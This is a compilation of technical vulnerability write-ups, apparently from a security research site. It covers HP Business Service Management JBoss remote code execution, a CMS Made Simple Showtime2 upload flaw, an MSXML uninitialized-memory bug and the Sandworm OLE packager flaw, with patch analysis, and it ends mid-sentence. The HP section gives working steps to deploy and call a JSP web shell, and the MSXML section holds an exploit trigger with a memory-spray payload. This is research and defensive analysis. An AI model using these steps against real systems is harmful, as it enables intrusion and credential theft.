0:000> kb ChildEBP RetAddr Args to Child 013df5bc 7c90de5c 7c801e3a ffffffff c0000417 ntdll!KiFastSystemCallRet 013df5c0 7c801e3a ffffffff c0000417 013df5fc ntdll!NtTerminateProcess+0xc 013df5d0 78b2af4f ffffffff c0000417 00000001 kernel32!TerminateProcess+0x20 013df5e0 78b2af7d 00000000 00000000 00000000 MSVCR100!_invoke_watson+0x23 013df5fc 78b2af8a 00000000 00000000 00000000 MSVCR100!_invalid_parameter+0x2c 013df614 78b1c7a3 013df8ec 013dfcc4 00000000 MSVCR100!_invalid_parameter_noinfo+0xc 013df8a8 78b05d0e 013df8cc 013df988 00000000 MSVCR100!_output_l+0x86 013df8ec 004a2424 013dfcc4 00000031 013df988 MSVCR100!_snprintf+0x84 WARNING: Stack unwind information not available. Following frames may be wrong. 013dfd08 004a2a3c 00000000 013dfd90 00000000 fgfs+0xa2424 013dfdbc 004a2aed 013dfdfc 0049ed0a 00000004 fgfs+0xa2a3c 013dfdc4 0049ed0a 00000004 00000004 0c0a3b88 fgfs+0xa2aed 013dfdfc 007ec98b 7d035c41 3ff4c78a 98706882 fgfs+0x9ed0a 013dfe34 007ec87a 00000000 3ff00000 00000005 fgfs+0x3ec98b 013dfe78 007ec432 00000000 3ff00000 008c4230 fgfs+0x3ec87a 013dfe90 004196ef 00000000 3ff00000 00000000 fgfs+0x3ec432 013dfeb0 0067d769 98706862 008c4230 0222abc0 fgfs+0x196ef 013dfed4 0041a067 987069aa 0222abc0 00000004 fgfs+0x27d769 013dff1c 00402082 00000004 0222abc0 987069ca fgfs+0x1a067 013dff7c 00850cb3 00000004 0222abc0 02172ee8 fgfs+0x2082 013dffc0 7c817067 217bc3f4 01cec380 7ffd9000 fgfs!std::_Init_locks::operator=+0x9ec 013dfff0 00000000 00850dd4 00000000 00905a4d kernel32!BaseProcessStart+0x23
Technical Analysis
Download Software (version 9.10):
http://www8.hp.com/us/en/software-solutions/software.html?compURI=1170773#
Question: is 9.10 vulnerable? It’s the one available for download
Remote Code Execution in HP Business Service Management leads to full system compromise (CVE-2012-2561)
HP Business Service Management (HPBSM) is build around the JBoss Application Server. In its standard configuration and when configured according to the HP installations guide, the newest fully patched version 9.12 comes with an open invoker-servlet (/invoker/JMXInvokerServlet does not require authentication) but more importantly, with RMI (port tcp/4444) and JDNI (tcp/1098 and tcp/1099) accessible without authentication. This gives a remote attacker access to the adapter service and therefore access to MBeans of the JBoss AS.
To exploit the vulnerability, an attacker can remotely deploy an application and call it via RMI. This can be done easily by downloading the official JBoss AS (e.g. jboss-4.2.3.GA) which includes the tool “twiddle.sh” in the bin-directory. With this tool, the RMI interface can be (ab-)used as follows to compromise the HPBSM and get code execution:
jboss-4.2.3.GA/bin/twiddle.sh -s
<servername>
get jboss.system:type=ServerInfo
—> this shows that the interface is accessible and does workcreate a simple jsp-shell and bundle it as a valid .war file (or use a ready one like http://www.redteam-pentesting.de/files/redteamjboss.tar.gz in the WAR directory)
—> this will be the shell on the attacked machinecreate a base64-representation of the war file (e.g. “base64 -w 0 hpbsm.war >> hpbsm.war.base64”)
—> this is needed for the deployer script which can only be asciicreate a text file without any line breaks as deployer help script “deployer.bsh”:
import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val=”<insert-hpbsm.war.base64-content>
”; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream(“C:\WINDOWS\TEMP\hpbsm.war”); fs,write(byteval); fs.close();
create the remote file (first remote code execution):
jboss-4.2.3.GA/bin/twiddle.sh -s<servername>
invoke jboss.deployer:service=BSHDeployer createScriptDeployment “cat deployer.bsh
” deployer.bsh
—> this creates the war file in C:\windows\temp on the remote attacked machinedeploy the created file (second remote code execution):
jboss-4.2.3.GA/bin/twiddle.sh -s<servername>
invoke jboss.system:service=MainDeployer deploy “file:C:/WINDOWS/TEMP/hpbsm.war”
—> now the attackers jsp-shell is deployedmake sure the deployment was successful by looking up your jsp-shell:
http://<servername>
:8080/status?full=truecall the actual shell (in this case, it’s the one from the redteamjboss.tar.gz):
http://<servername>
:8080/hpbsm/shell.jsp?pass=secret&cmd=whoami
—> the output is “nt/system” which means that the remote code execution did work and the attacker even has the highest possible system rights because the server process runs as nt/system!
This works even through firewalled HPBSM installations which are not allowed to make outgoing requests.
Side note: HPBSM is a product that is used to monitor other critical systems. To be able to do that, HPBSM servers need so called “scripts” which include clear text credentials for the monitored systems! Therefore, an attacker gains not only full access to the HPBSM server itself but potentially gains accounts and credentials to numerous important systems because in general, monitored systems are important :–)
David Elze, 2012-05-21 (vuln found 2012-03-30 & reported 2012-04-02)
Technical Analysis
Background
CMS Made Simple (CMSMS) is an open source content management system. It can be used for various purposes such as galleries, company and user directories, guestbooks, E-Commerce, blogs, etc, depending on the module the user installs. It is written in PHP, and runs on MySQL.
One of the commonly downloaded modules for CMSMS is called Showtime2, a slideshow feature. In it, the watermark support allows an authenticated user (likely an administrator) to upload a watermark image, which can be abused to upload a malicious payload.
A Metasploit module was submitted on March 19th 2019, which allowed me to investigate the vulnerability.
Vulnerability Analysis
Environment Setup
In order to analyize the vulnerability, we need to set up a vulnerable environment. The minimal requirements are:
- A Ubuntu VM that supports Apache, PHP, and MySQL.
- CMS Made Simple. Since the vulnerability doesn’t actually come from the CMS, the latest should work.
- A vulnerable version of Showtime2. You can just download the XML file, and import it from the module manager in CMSMS. Once imported, an “install” button will be available for you to actually install the vulnerable Showtime2 module.
Debugging CMSMS
Like other exploit analysis cases, we usually start off with a proof-of-concept from the Metasploit module, and this one is no exception. Since the vulnerability involves uploading something over HTTP, the key moment would be this block of code from the exploit:
data = Rex::MIME::Message.new data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"") data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"") data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"") data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'headers' => { 'Cookie' => @cookies } )
We can see that the exploit uses the Metasploit’s HttpClient API to make a request to admin/moduleinterface.php
, so this would be our starting point for the analysis. What is the application doing to our malicious upload request? Let’s check it out.
By looking at the source code for moduleinterface.php
, my high level understanding of the code is that this is meant for loading a third-party module. One of the first things we see is the use of the mact
parameter, and how the code wants to split that into multiple variables:
if (isset($_REQUEST['mact'])) { $ary = explode(',', cms_htmlentities($_REQUEST['mact']), 4); $module = (isset($ary[0])?$ary[0]:''); $id = (isset($ary[1])?$ary[1]:'m1_'); $action = (isset($ary[2])?$ary[2]:''); }
Based on the mact
data coming from the exploit, we can break down our data to these:
- module = “Showtime2”
- id = “m1_”
- action = “defaultadmin”
After that, moduleinterface.php
creates a new instance for the module the exploit asked by doing:
$modinst = ModuleOperations::get_instance()->get_module_instance($module);
We know that the exploit is requesting the Showtime2 module, which means $modinst
is technically a Showtime2 object (found as Showtime2.module.php
), and it extends CMSModule (the base class that can be found as class.CMSModule.php
). Once the instance is ready, the module interface triggers an action toward the end of the code:
$modinst->DoActionBase($action, $id, $params, '', $smarty);
For a CMSMS module, the term “action” means the a feature to support. For example, if you have a module that supports editing a slideshow, then you could call your action “editslideshow”, and this would be implemented as its own PHP file.
The DoAction*
methods actually come from CMSModule (the base class the Showtime2 object extends from), and it basically triggers a PHP file to be included from the modules directory (oh and look, there is even a directory traversal patch):
if ($name != '') { //Just in case DoAction is called directly and it's not overridden. //See: http://0x6a616d6573.blogspot.com/2010/02/cms-made-simple-166-file-inclusion.html $name = preg_replace('/[^A-Za-z0-9\-_+]/', '', $name); $filename = $this->GetModulePath().'/action.' . $name . '.php'; if( !is_file($filename) ) { @trigger_error("$name is an unknown acton of module ".$this->GetName()); throw new \CmsError404Exception("Module action not found"); } // these are included in scope in the included file for convenience. $gCms = CmsApp::get_instance(); $db = $gCms->GetDb(); $config = $gCms->GetConfig(); $smarty = ( $this->_action_tpl ) ? $this->_action_tpl : $smarty = $gCms->GetSmarty()->get_template_parent(); include($filename); }
If you recall what the exploit is sending in the mact
parameter, the specific action we should be looking for is defaultadmin
. So based on the above code, we should be looking at action.defaultadmin.php
in Showtime2’s directory.
And that’s about how much we need to know about the mechanics of CMSMS, let’s move on to the Showtime2 code.
Debugging Showtime2’s defaultadmin Action
The most interesting part of the defaultadmin
action code is of course the upload routine, which occurs almost at the beginning of the file:
if( isset($params['upload_submit'])){ $params = array('active_tab' => 'watermark'); $fieldName=$id.'input_browse'; if (!isset ($_FILES[$fieldName]) || !isset ($_FILES) || !is_array ($_FILES[$fieldName]) || !$_FILES[$fieldName]['name']){ $params['message'] = $this->Lang('error_nofilesuploaded'); $smarty->assign('message',$this->Lang('error_nofilesuploaded')); }else{ $file = $_FILES[$fieldName]; // cleanup the filename $pos = strrpos($file['name'], '.'); $alias = substr($file['name'], 0, $pos); $alias = preg_replace('/[^a-z0-9-_]+/i','-',$alias); $alias = trim($alias . substr($file['name'], $pos), '-'); $uploadfile = $config['image_uploads_path'].'/'. $alias; if (!@move_uploaded_file($file['tmp_name'], $uploadfile)) { $smarty->assign('message',$this->Lang('error_nofilesuploaded')); }else{ chmod($uploadfile, 0644); $this->SetPreference("watermark_file", $alias); $smarty->assign('message',$this->Lang('file_uploaded')); $create_watermark =true; } } }
After the file is uploaded, it is treated as an image. For example, the next step after the upload is watermarking the image:
if ($create_watermark){ $source_image = '../modules/Showtime2/images/watermark_example_org.jpg'; $dest_image = '../modules/Showtime2/images/watermark_example_new.jpg'; if(!showtime2_image::watermark_image($source_image,$dest_image,false)){ $smarty->assign('message',$this->Lang('watermark_warning')); } }
But really, there is way to be sure whether the user uploaded is an image or not; the code just assumes it is. This is what allows the attacker to upload whatever they want and leave a backdoor on the target server.
And this is how much we need to know about the vulnerability. Now that we know how CMSMS utilizes module interface to load a module, and how our file is uploaded, let’s look at the patch.
Patch Analysis
According to the diff here, we know that the patch is implemented in the watermark_image
function in class.showtime2_image.php
. And it went from the vulnerable code like this (from rev 14)
$watermark_file = $mod->GetPreference('watermark_file'); if ($watermark_file=='watermark.png'){ $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png'; }else{ $watermark_file = $config['image_uploads_path'].'/'.$watermark_file; } if (!file_exists($watermark_file)) return false;
To this (rev 47, with the log message indicating this is a security fix):
$watermark_file = $mod->GetPreference('watermark_file'); if ($watermark_file=='watermark.png'){ $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png'; }else{ $watermark_file = $config['image_uploads_path'].'/'.$watermark_file; } $fext = strtoupper(substr($watermark_file, strrpos($watermark_file, '.'))); if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG'))) unlink($watermark_file); if (!file_exists($watermark_file)) return false;
So it looks like the intention of the fix is to check the file extension and make sure the file type is one of these: GIF, JPG, JPEG, and PNG. If there is no match, then it deletes the uploaded file. For the most part, that sounds like a good plan.
A slight concern is that in PHP, you don’t always need the file to be .php
to be able to execute code, in some cases it could be anything. Take the following proof-of-concept for example, I’m creating a PHP file named as “fake_image.PNG”, and then I include it from a separate file. The include
will still treat the fake image file as a PHP file anyway:
root@sinn3r-virtual-machine:/var/www/html# echo "<?php echo 'Hello World'; ?>" > fake_image.PNG root@sinn3r-virtual-machine:/var/www/html# echo "<?php include('fake_image.PNG'); ?>" > demo.php root@sinn3r-virtual-machine:/var/www/html# curl http://localhost/demo.php Hello World
Luckily for the vendor, the exploit doesn’t rely on a include
to exploit the payload, instead it relies on an HTTP request like this:
print_status("Making request for '/#{fname}' to execute payload.") send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname) }, 15 )
However, the ability to upload a PHP file with an image extension name is still worth noting from an attacker’s perspective, because it potentially be chained in case of a file inclusion vulnerability in the future.
Technical Analysis
This is known as a “state-sponsored ” 0-day to attack certain Gmail users. It has been committed as msxml_get_definition_code_exec.rb in the Metasploit Framework. However, the current version only targets IE6/7 on Windows XP, because the uninitialized memory is on the heap on those targets. On Win Vista + IE 7 and Win XP + IE8, however, it is on the
stack.
Debugging Notes
Crash:
0:008> r eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528 eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 msxml3!_dispatchImpl::InvokeHelper+0xb4: 749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:00000018=???????? 0:008> k ChildEBP RetAddr 020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4 020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e 020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa 020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50 020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa 020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d 020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98 020bf590 633a77ff jscript!VAR::InvokeByName+0x135 020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989 020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f 020bf958 633891f1 jscript!CSession::Execute+0x175 020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0 020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a 020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30 020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219
The crash occurs in dispatchImpl::InvokeHelper(), where:
.text:749BD751 mov eax, dword ptr [ebp+pvarg.anonymous_0+8] ;pvarg.anonymous_0+8 = pvarg.lVal .text:749BD754 cmp eax, ebx ; This checks if eax is null, but doesn't check if [eax] is null .text:749BD756 mov esi, eax .text:749BD758 jz short loc_749BD780 .text:749BD75A push [ebp+arg_20] .text:749BD75D mov ecx, [eax] ; Null pointer dereference, because we didn't check [eax] .text:749BD75F push [ebp+arg_1C] .text:749BD762 push [ebp+arg_18] .text:749BD765 push edi .text:749BD766 push 3 .text:749BD768 push [ebp+arg_C] .text:749BD76B push offset _GUID_NULL .text:749BD770 push ebx .text:749BD771 push eax .text:749BD772 call dword ptr [ecx+18h] ; Crash
Heap vs Stack:
Some setups allocate the data on the heap, or a simple heap spray will just do the trick.
But some setups allocate it on the stack, which is a little trick. We found the following solution
from baidu to put data on the stack:
var src = unescape("%u1111%u1111"); while (src.length < 0x1002) src += src; src = "\\\\xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp;
So in the end, this is how we trigger the bug:
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object> <script> var obj = document.getElementById('#{object_id}').object; var src = unescape("%u0c08%u0c0c"); while (src.length < 0x1002) src += src; src = "\\\\\\\\xxx" + src; src = src.substr(0, 0x1000 - 10); var pic = document.createElement("img"); pic.src = src; pic.nameProp; obj.definition(#{rand(999) + 1}); </script>
Final version of the exploit:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
Analysis
Vupen published a nice blog post about advanced exploitation with this bug here:
Unfortunately, the presented exploitation techniques can not be used if we can not control the
uninitialized data in the stack:
.text:727457A0 lea eax, [ebp+vtDisp] .text:727457A3 push eax ; pvarg .text:727457A4 call ds:__imp__VariantInit@4 ; VariantInit(x) .text:727457AA push ebx .text:727457AB lea eax, [ebp+vtDisp] .text:727457AE push eax .text:727457AF push 2 .text:727457B1 push ebx .text:727457B2 push [ebp+dispid] .text:727457B5 push [ebp+pTarget] .text:727457B8 call dword ptr [esi+20h] ; DOMNode::_invokeDOMNode .text:727457BB cmp eax, ebx .text:727457BD jl loc_72740BB6
As VUPEN explained in their blog post, DOMNode::_invokeDOMNode should init the memory location at ebp+vtDisp,
but it’s not always true, so controlling ebp+vtDisp allow to reach:
.text:727457C3 mov eax, dword ptr [ebp+vtDisp.___u0+8] ; Danger: it isn't ebp+vtDisp, but ebp+vtDisp+8 .text:727457C6 mov esi, eax .text:727457C8 cmp eax, ebx .text:727457CA jz short loc_727457F5 .text:727457CC push [ebp+puArgErr] .text:727457CF mov ecx, [eax] ; crash .text:727457D1 push [ebp+pExcepInfo] .text:727457D4 push [ebp+pVarResult] .text:727457D7 push edi .text:727457D8 push 3 .text:727457DA push [ebp+lcid] .text:727457DD push offset _GUID_NULL .text:727457E2 push ebx .text:727457E3 push eax .text:727457E4 call dword ptr [ecx+18h] .text:727457E7 mov [ebp+hr], eax .text:727457EA mov eax, [esi] .text:727457EC push esi .text:727457ED call dword ptr [eax+8]
Where the memory in the stack can be used to do interesting thing. The problem is how to put interesting objects
in the stack, since the pic.nameProp; method doesn’t look usefull at all. There is a lack of documentation in the
VUPEN blog post about how to make it happen, since it assumes you can control the memory in the stack, and just
explores the exploitation possibilities.
There is a clue? in the VUPEN blog:
“The vulnerable variable can be assigned according to the way xmlDoc.definition is called. There are many ways to
put a particular pointer in the vulnerable variable. We can use for example introspection on an object and call
xmlDoc.definition on each of its attributes to list the available objects”
Honestly, here is where VUPEN impresses me, because atm I don’t spot how to put a “partirular pointer in the
vulnerable variable”. Even when playing with introspection seems to allow some results:
<html> <body onload="f()"> <div id="div"> <object id="obj" style="display:none"></object> </div> <pre id="results"> </pre> <script> function f() { var test = new ActiveXObject("Msxml2.DOMDocument.6.0"); var results = document.getElementById("results"); results.innerHTML += "obj attributes: </br>"; var count = 0 for (var v in obj) { results.innerHTML += v; results.innerHTML += "<br />"; if (count == 0) test.definition(v) count++; } alert(count) var o = obj.cloneNode() div.appendChild(o) results.innerHTML += "After append, new obj attributes <br />" count = 0 for (var v in obj) { results.innerHTML += v; results.innerHTML += "<br />"; count++ } alert(count) } </script> </body> </html>
Makes the next crash:
0:004> r eax=605aa838 ebx=00000000 ecx=5d5b5e5f edx=00000001 esi=605aa838 edi=021fa2a8 eip=703457e4 esp=021f9f2c ebp=021fa068 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 msxml6!_dispatchImpl::InvokeHelper+0xb3: 703457e4 ff5118 call dword ptr [ecx+18h] ds:0023:5d5b5e77=???????? 0:004> dd eax 605aa838 5d5b5e5f 890008c2 ffff5c8d ea38e9ff 605aa848 c88bffff 8306e9c1 840f01e1 0015ef37 605aa858 5421d233 c9851024 ef32840f 8c8b0015 605aa868 00008c24 83fa2b00 048d03e1 fffffcbd 605aa878 89c10bff 008c2484 e8c10000 24448902 605aa888 247c831c 840f0010 fffff7f0 15ef26e9 605aa898 0f178b00 c10852b6 82f704e2 6066392c 605aa8a8 00004000 9ae5850f ef830017 0ff83b04 0:004> u eax mshtml!CElement::put_innerHTML+0x75: 605aa838 5f pop edi 605aa839 5e pop esi 605aa83a 5b pop ebx 605aa83b 5d pop ebp 605aa83c c20800 ret 8 605aa83f 898d5cffffff mov dword ptr [ebp-0A4h],ecx 605aa845 e938eaffff jmp mshtml!CSpliceTreeEngine::RemoveSplice+0x7ec (605a9282) 605aa84a 8bc8 mov ecx,eax
Second try, just follow the VUPEN’s instructions:
<html> <body onload="f()"> <div id="div"> <object id="obj" style="display:none"></object> </div> <pre id="results"> </pre> <script> function f() { var test = new ActiveXObject("Msxml2.DOMDocument.6.0"); var count = 0 for (var v in obj) { if (count == 0) test.definition(v) count++; } alert(count) var o = obj.cloneNode() div.appendChild(o) count = 0 for (var v in obj) { v; } } </script> </body> </html>
Generates an ugly crash, which doesn’t look profitable at all :
(d14.df0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=00000000 ecx=703701f2 edx=00000001 esi=00000001 edi=0227a2c8 eip=703457cf esp=02279f6c ebp=0227a088 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 msxml6!_dispatchImpl::InvokeHelper+0x9e: 703457cf 8b08 mov ecx,dword ptr [eax] ds:0023:00000001=????????
Another try, trying to get definition, at the end of instrospection:
<html> <body onload="f()"> <div id="div"> <object id="obj" style="display:none"></object> </div> <pre id="results"> </pre> <script> function f() { var test = new ActiveXObject("Msxml2.DOMDocument.6.0"); var count = 0 for (var v in obj) { if (count == 175) test.definition(v) count++; } alert(count) var o = obj.cloneNode() div.appendChild(o) count = 0 for (var v in obj) { v; } } </script> </body> </html>
Same crash:
0:005> g (1ac.bb0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=00000000 ecx=703701f2 edx=00000001 esi=00000001 edi=022f9e50 eip=703457cf esp=022f9af4 ebp=022f9c10 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 msxml6!_dispatchImpl::InvokeHelper+0x9e: 703457cf 8b08 mov ecx,dword ptr [eax] ds:0023:00000001=????????
Maybe with fuzzing :? time to grinder…
Technical Analysis
SETUP
- Windows 7 SP1
- Office 2013 (full install)
- packager.dll 6.1.7600.16385 (Mon Jul 13 20:09:25 2009)
Details
CVE-2014-4114, also known as Sandworm, is a vulnerability found in Windows OLE that allows remote
code execution. It was found in the wild as a PowerPoint file, originally discovered by ESET, and
was patched on Oct 14, 2014.
The vulnerability has to do with how the Object Packager 2 (packager.dll) component handles an
INF file that contains malicious registry changes, which can lead to code execution. First of all,
Packager cannot load the INF file directly, but you can trick it to load your INF file anyway
by embedding the file path as a remote share in an OLE object. When it’s embedded as an OLE object,
it’s possible to make Packager to treat your malicious file as a media file. There are 6 media
formats supported: SOUNDREC, OLE1SOUNDREC, MPlayer, OLE1MPlayer, AVIFile, MIDFile. The MPlayer
format is the one to go for our case, because this will be loaded by the
packager!CPackage::OLE2MPlayerReadFromStream function, which also triggers a CopyFileW call. The
CopyFileW function will download the malicious file from the remote share, save it under the
temp folder, and then pass that information that will be used later.
The following callstack can illustrate the work flow of the loading process:
ChildEBP RetAddr 0029eb98 6ff94b85 packager!CPackage::CreateTempFileName 0029ebb0 6ff94f0a packager!CPackage::OLE2MPlayerReadFromStream+0x118 0029ec14 6ff9665c packager!CPackage::LoadMMStorage+0xe5 0029ec48 75bceb44 packager!CPackage::Load+0xbb 0029ecb8 75bcf2af ole32!wCreateObject+0x1fc [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 3108] 0029ed1c 75bcf1d4 ole32!OleLoadWithoutBinding+0x9c [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1576] 0029ed44 60c6d608 ole32!OleLoad+0x37 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1495]
The actual exploit will try to abuse the above loading routine twice: The first is the fake gif
file, and the other is the INF file. The purpose of that is to make INF file rename the gif one
to .exe, which will happen later.
After the streams are loaded, the Packager component will also look at each OLE object’s command
node in their XML file (in the exploit in the wild, this can be found in slide/slide1.xml), and
determine what media command needs to happen. These media commands are also known as the
“XML Presentation Command class”, which is described in the following:
http://msdn.microsoft.com/en-us/library/documentformat.openxml.presentation.command(v=office.14).aspx
The command class/node is presented as the following XML syntax:
<p:cmd type="type" cmd="cmd">
From the above syntax, there are two important properties: “type” and “cmd”. We’ll explain what
each does.
The type property supports the following:
- call – Used to call methods on the object specified (play(), pause(), etc.)
- evt – Used to set an event for the object at this point in the timeline (onstopaudio, etc.)
- verb – Used to set verbs for the object to occur at this point in the timeline (0, 1, etc.)
The cmd property supports the following:
- call – play corresponding media
- play – play corresponding media starting from s, where s is the number of seconds from the
beginning of the clip.
- pause – pause corresponding media
- resume – resume play of corresponding media
- stop – stop play of corresponding media
- togglePause – play corresponding media if media is already paused, pause corresponding media if
media is already playing. If the corresponding media is not active, this command
restarts the media and plays from its beginning.
- onstopaudio – stop play of all audio
However, when you’re using the verb type, you have the following commands:
- 0 – Open the object for editing
- 1 – Open the object for viewing
- 3 – Undocumented. But this is what the exploit is using to get the inf to run.
Note that the exploit uses two OLE objects, so there are two commands for each. The first one is
for the fake slide1.gif file. It uses the “verb” type, with cmd of “-3”:
<p:cmd type="verb" cmd="-3"> ... </p:cmd> The inf file also uses the "verb" type, but with cmd of "3": <p:cmd type="verb" cmd="3"> ... </p:cmd>
The reason the “verb” type is used is because this will trigger the packager!CPackage::DoVerb
function in the Packager component. When this function sees the slide1.gif file, it will bail right
away due to the -3 cmd. We don’t want it to do anything. However, when the function sees the INF
file, which uses cmd 3, it will ask Windows to find the appropriate handler, which will give us
C:\Windows\System32\infDefaultInstall.exe, and that process will be used to install our malicious
INF file via a CreateProcessW call, and then results in arbitrary code execution.
The following callstack should illustrate the work flow that leads to code execution:
ChildEBP RetAddr 0029db78 767e55c1 kernel32!CreateProcessW 0029dc70 767f2bda SHELL32!_SHCreateProcess+0x251 0029dcc4 767e53c5 SHELL32!CExecuteApplication::_CreateProcess+0xfc 0029dcd4 767e5379 SHELL32!CExecuteApplication::_TryCreateProcess+0x2e 0029dce4 767e47d1 SHELL32!CExecuteApplication::_DoApplication+0x48 0029dcf4 767ff6b1 SHELL32!CExecuteApplication::Execute+0x33 0029dd14 767e4a1c SHELL32!CExecuteAssociation::_DoCommand+0x88 0029dd38 767ff733 SHELL32!CExecuteAssociation::_TryApplication+0x41 0029dd58 76800ff1 SHELL32!CExecuteAssociation::Execute+0x5f 0029dd88 76800f22 SHELL32!CRegDataDrivenCommand::_Invoke+0xe2 0029dd9c 76801175 SHELL32!CRegDataDrivenCommand::InvokeFromContextMenu+0x18 0029ddc8 768010d8 SHELL32!CRegistryVerbsContextMenu::_Execute+0x5a 0029e03c 7680056c SHELL32!CRegistryVerbsContextMenu::InvokeCommand+0xa4 0029e0c0 76800444 SHELL32!HDXA_LetHandlerProcessCommandEx+0x132 0029e3a0 6ff95ee0 SHELL32!CDefFolderMenu::InvokeCommand+0x1ca 0029ee6c 66a62eea packager!CPackage::DoVerb+0x374
OTHER INTERESTING THINGS FOUND DURING REVERSING
The DoVerb function is also where the bug was for MS12-005 (Microsoft ClickOnce Vulnerability).
That vuln was due to the CPackage::_GiveWarningMsg function using a weak list of dangerous/executeable
files (such as a Python file, Ruby, etc).Before the INF is run, a “Zone Check” will trigger by shell32. This means it is possible to
cause the exploit to fail if the target machine has very strict IE zone settings.For some reason, the exploit seems to crash with Office 2010 + Win 7 SP1 due to a null pointer
dereference in DoVerb –> CPackage::GetContextMenu –> packager!CPackage::CreateTempFileName.
PATCHING
The patch is found in packager.dll. A MarkFileUnsae() function is introduced in
CPackage::OLE2MPlayerReadFromStream(). With the patch, the INF should trigger a prompt that
warns the user about the operation.
However, someone claims the following:
“KB2919355 (Windows 8.1 update) remove InfDefaultInstall.exe from g_lpAutoApproveEXEList in
appinfo.dll, thx cve-2014-4114 for the help” – https://twitter.com/w4kfu/status/522492861225639936
I looked at that specific KB2919355 patch, and there is no appinfo.dll in there. BUT, the claim
seems plausible becaues g_lpAutoApproveEXEList does have infDefaultInstall.exe in there:
.data:0624B054 ?g_lpAutoApproveEXEList@@3PAPBGA dd offset aCttunesvr_exe .data:0624B054 ; DATA XREF: AipIsAutoApprovalEXE(ushort const *)+Eo .data:0624B054 ; "cttunesvr.exe" .data:0624B058 dd offset aInetmgr_exe ; "inetmgr.exe" .data:0624B05C dd offset aInfdefaultinst ; "infdefaultinstall.exe" .data:0624B060 dd offset aMigsetup_exe ; "migsetup.exe" .data:0624B064 dd offset aMigwiz_exe ; "migwiz.exe" .data:0624B068 dd offset aMmc_exe ; "mmc.exe" .data:0624B06C dd offset aOobe_exe ; "oobe.exe" .data:0624B070 dd offset aPkgmgr_exe ; "pkgmgr.exe" .data:0624B074 dd offset aProvisionshare ; "provisionshare.exe" .data:0624B078 dd offset aProvisionstora ; "provisionstorage.exe" .data:0624B07C dd offset aSpinstall_exe ; "spinstall.exe" .data:0624B080 dd offset aWinsat_exe ; "winsat.exe"
References
- http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/
- http://en.wikipedia.org/wiki/INF_file
- https://www.youtube.com/watch?v=I77CGqQvPE4
- http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/
- http://msdn.microsoft.com/en-us/library/documentformat.openxml.presentation.command(v=office.14).aspx
=== The Patch
Microsoft patched this vulnerability with MS14-060
https://technet.microsoft.com/en-us/library/security/ms14-060.aspx
Apparently the patch failed, and the packager.dll component is exploitable still (CVE-2014-5352)
The HP analysis I think isn’t 100% accurate, according to my bindiff the patch MS14-060 is adding a call “MarkFileUnsafe” to different methods available to drop files to the filesystem:
- OLE2MplayerReadFromStream
- OLE1SoundRecReadFromStream
- OLE2SoundRecReadFromStream
=== Ideas to bypass patch
- Idea 1: Obvious one, find another path where the “MarkFileUnsafe” has been forgotten. Unfortunately with static analysis I’ve not found nothing interesting.
- Idea 2: The abused function hasn’t been killed, the droped files are just marked as unsafe… so maybe working with other file types can have some success.
The original exploit basically embeds packager objects as OLE streams, allowing:
